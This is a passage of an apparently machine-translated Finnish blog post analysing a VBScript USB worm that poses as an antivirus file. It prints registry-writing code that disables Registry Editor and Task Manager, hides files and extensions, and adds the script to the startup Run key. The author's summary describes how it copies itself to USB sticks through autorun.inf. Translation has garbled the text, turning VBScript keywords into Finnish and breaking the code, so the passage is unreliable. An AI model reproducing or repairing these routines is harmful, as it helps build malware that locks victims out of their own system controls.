RegWrite" HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ Explorer \\ NoDriveTypeAutoRun ", 128" REG_DWORD ".RegWrite" HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ System \\ DisableRegistryTools ", 1," REG_DWORD ".RegWrite" HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ System \\ DisableTaskMgr ", 1," REG_DWORD "End With Jos TF voittaa &" \\ UjBright_Antivirus.vbs "Sitten Jos fso.Getfile (TF) .Drive.IsReady = false Sitten wscript. Lopeta End Jos WScript.
Sleep 10000 Wend Big Scary tiedostoa ei ole sitä. No, ei aivan itse. Jos olet ohjelmoinut skriptejä aikaisemmin, niin se tapa olla todella vaikea saada tämän. Tutkittuaan koodin jonkin aikaa, en tajunnut, mitä se teki. Tässä on se lyhyesti: tarkistettu muistitikut tarkastettu jos autorun, readme & käsikirjoitus läsnä. Jos ei, kirjoittaa autorun.inf, kopio kirjoitus. Kirjoita Lue minulle Garbage. Piilottaa tiedostopääte, poistaa regedit jne Sleep 10000 sekuntia Joten lyhyt se oli mukava pieni skripti, joka voitaisiin muuttaa.
Näet ne pää osia, joissa rekisterin ja tehtävä seimessä on poistettu käytöstä, piilotetut tiedostot on piilotettu, laajennukset ovat piilossa, jne .RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ AutoMe", "wscript.exe" "" & win & "\\ UjBright_Antivirus.vbs" "" .RegWrite "HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Explorer \\ Tarkennettu \\ Hidden", 1, "REG_DWORD" .RegWrite "HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Explorer \\ Advanced \\ HideFileExt ", 1," REG_DWORD ".
RegWrite" HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Explorer \\ Tarkennettu \\ ShowSuperHidden ", 0," REG_DWORD ".RegWrite" HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ Explorer \\ NoFolderOptions ", 1," RE